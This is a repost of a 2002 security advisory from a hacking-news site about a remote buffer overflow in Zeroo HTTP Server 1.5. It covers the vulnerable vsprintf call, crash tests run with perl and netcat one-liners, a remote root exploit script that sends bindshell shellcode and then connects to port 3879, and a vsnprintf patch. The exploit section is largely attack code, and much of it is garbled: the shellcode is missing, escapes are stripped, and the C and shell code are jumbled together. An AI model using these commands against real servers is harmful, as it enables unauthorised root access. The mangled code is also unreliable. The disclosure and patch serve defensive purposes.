Users login

Create an account »


Users login

Home » Hacking News » Remote Buffer Overflow vulnerability in Zeroo HTTP Server.

Remote Buffer Overflow vulnerability in Zeroo HTTP Server.

by Nikola Strahija on November 17th, 2002 Zeroo HTTP Server is simple and fast webserver. Many overflow bugs exist innumerably to source code of this Zeroo HTTP Server. Many remote vulnerability according to called function can happen at the same time therefore.

Explain the fatalest part.
If do patch, can cope remote exploit that prove here.

67 char *HttpWrite(char *in, const char *message, ...)
69 char buffer[MAX_CONN_BUF]; // #define MAX_CONN_BUF 1024
72 va_start(arglist, message);
73 vsprintf(buffer, message, arglist); // here.
74 va_end(arglist);
76 strncpy(in+strlen(in), buffer, strlen(buffer)); // ok.

Is code that above code permits buffer overflow.

0x02. Vulnerable Packages

Vendor site:

Zeroo HTTP Server v1.5
+Linux glibc 2.1.x

* Regrettably glibc of high version may know well that structure is different.
This does not correspond to frame pointer attack.

0x03. Exploit

Try simple test.

* Test -

First, execute zeroo http server.
Do debug in other shell thereafter.

#1) Test attacker:

bash$ (echo "`perl -e 'print "x"x1024'`";cat)|nc 0 8000

#2) Debugging:

Program received signal SIGSEGV, Segmentation fault.
0x80497bf in HttpGetRequest ()
(gdb) where
#0 0x80497bf in HttpGetRequest ()
#1 0x78787878 in ?? ()
Cannot access memory at address 0x78787878.
(gdb) i r ebp
ebp 0xbffffa00 0xbffffa00
(gdb) i r esp
esp 0xbffff2a8 0xbffff2a8
(gdb) x $esp
0xbffff2a8: 0x00000000

This appears as if esp does not receive any effect.
However, see the next case.

#1) Test attacker:

bash$ (echo "`perl -e 'print "xaa"x1024'`";cat)|nc 0 8000 # 0xaa,0xff,etc...

#2) Debugging:

Program received signal SIGSEGV, Segmentation fault.
0xaaaaaaaa in ?? ()
(gdb) where
#0 0xaaaaaaaa in ?? ()
Cannot access memory at address 0xaaaaaaaa.
(gdb) i r ebp
ebp 0xaaaaaaaa 0xaaaaaaaa
(gdb) i r esp
esp 0xbffff2a0 0xbffff2a0
(gdb) x $esp
0xbffff2a0: 0xaaaaaaaa

If find where 'retloc, &shellcode' is, exploit can succeed. :-D

This's exploit code that prove.
Through remote attack, get 'root' competence.

=== ===

# Zeroo HTTP Server Remote root exploit for Linux
# __
# exploit by "you dong-hun"(Xpl017Elz), .
# My World:
(printf "n Zeroo HTTP Server Remote root exploit");
(printf "n by x82 in INetCop(c)nn");
if [ "$2" = "" ]; then
(printf " Usage: [hostname] [port]nn");
exit; fi
cat >0x82-Remote-Zeroosubugxpl.c<< X82X82
#define Xpl017Elz x82
int main(/* args? */) {
int num;
char b1ndsh[] = /* Linux(x86) bindshell on port 3879 */
printf("xc0xf4xffxbf"); // this's &shellcode
printf("N"); /* nop...NNNNNNNNNNNNN...NNNNNNNNNNNNN;;; */
printf("%s",b1ndsh); /* shellcode */
printf("xff"); /* byteother */
(printf " { 0x00. Compile exploit. }n");
make 0x82-Remote-Zeroosubugxpl
(printf " { 0x01. Send code ! }n");
(./0x82-Remote-Zeroosubugxpl;cat)|nc $1 $2 &
(printf " { 0x02. OK, Try $1:3879 ... }n");
nc $1 3879
(printf " { 0x03. Connection closed. }n");
(printf " { 0x04. Delete exploit code. }n");
rm -f 0x82-Remote-Zeroosubugxpl*
(printf " { 0x05. End :-}nn");

=== eof ===

0x04. Patch

=== http.patch ===

--- http.cpp Fri Apr 12 13:26:24 2002
+++ http.patch.cpp Tue Nov 10 00:28:13 2002
@@ -70,7 +70,7 @@
va_list arglist;

va_start(arglist, message);
- vsprintf(buffer, message, arglist);
+ vsnprintf(buffer, MAX_CONN_BUF, message, arglist);

strncpy(in+strlen(in), buffer, strlen(buffer));

=== eof ===

P.S: Sorry, for my poor english.

By "dong-houn yoU" (Xpl017Elz), in INetCop(c) Security.

MSN & E-mail: szoahc(at)hotmail(dot)com,

INetCop Security Home: (Korean hacking game)
My World:

GPG public key:

Newsletter signup

Signup to our monthly newsletter and stay in touch with IT news!

Free E-books

We've got ebooks! But they're not online. :( Please give us a few days to bring downloads back.


Have something to say or just wanna drop us a line? Please keep this in mind: to spam, we reply with spam.

Contact us »